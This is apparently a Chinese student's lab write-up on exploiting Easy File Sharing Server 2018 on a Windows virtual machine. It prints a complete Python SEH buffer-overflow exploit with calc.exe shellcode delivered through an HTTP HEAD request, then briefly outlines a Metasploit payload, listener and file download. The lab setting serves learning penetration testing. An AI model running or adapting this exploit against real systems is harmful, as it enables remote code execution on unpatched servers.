记一次后渗透作业

一、漏洞渗透测试
1、靶机(Windows)安装easy file sharing server（efssetup_2018.zip)，该服务存在漏洞。
2、利用Nmap扫描发现靶机(Windows)运行了该服务。
3、利用该漏洞，使得靶机运行计算器。

前面搭建过程只记一点。在虚拟机中利用主机文件的时候，因为不想专门下载工具。所以这里用到共享文件夹操作

这里先修改虚拟机设置，启用文件夹共享

然后进入物理机对应地址，修改文件夹属性

然后就可以在虚拟机使用共享文件夹的文件了

网站搭建完成之后，就可以对其进行渗透了。这里因为我设置的web应用端口不是常见端口，所以nmap没有扫出来，就直接当作端口已知了，毕竟实战中这种情况不多见

接下来我们利用kali里面的脚本获取靶机权限

找找脚本

运行对应脚本。但是这里直接运行，脚本会报错。只得把脚本重新写了一遍。这脚本真的极其抽象。。。。。

这里就附上脚本帮大家避雷

import socket
import sys
import struct

host = str(sys.argv[1])
port = int(sys.argv[2])

a = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print("Connecting to: " + host + ":" + str(port))
a.connect((host,port))

entire=4500

# Junk
buff = b"A"*4061

# Next SEH
buff += b"\xeb\x0A\x90\x90"

# pop pop ret
buff += struct.pack("<L", 0x10019798)

buff += b"\x90"*27

# calc.exe
# Bad Characters: \x20 \x2f \x5c
shellcode = b"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" \
            b"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" \
            b"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" \
            b"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" \
            b"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" \
            b"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" \
            b"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" \
            b"\x1c\x39\xbd"
buff += shellcode

buff += b"\x90"*7

buff += b"A"*(4500-4061-4-4-20-len(shellcode)-20)
#buff=bytes(buff, encoding='utf-8')
# HEAD
a.send(b"HEAD " + buff + b" HTTP/1.0\r\n\r\n")

a.close()

print("Done...")

运行脚本可以发现靶机直接无法访问，并且执行命令

。

二、Metasploit应用
1、生成主控端、被控端。
2、获得靶机(Windows)控制权。
3、下载靶机上任意一个文件。

1.我们先生成一个被控端程序

把它放在靶机里

然后生成主控端

靶机上线

download 1.txt var

下载完成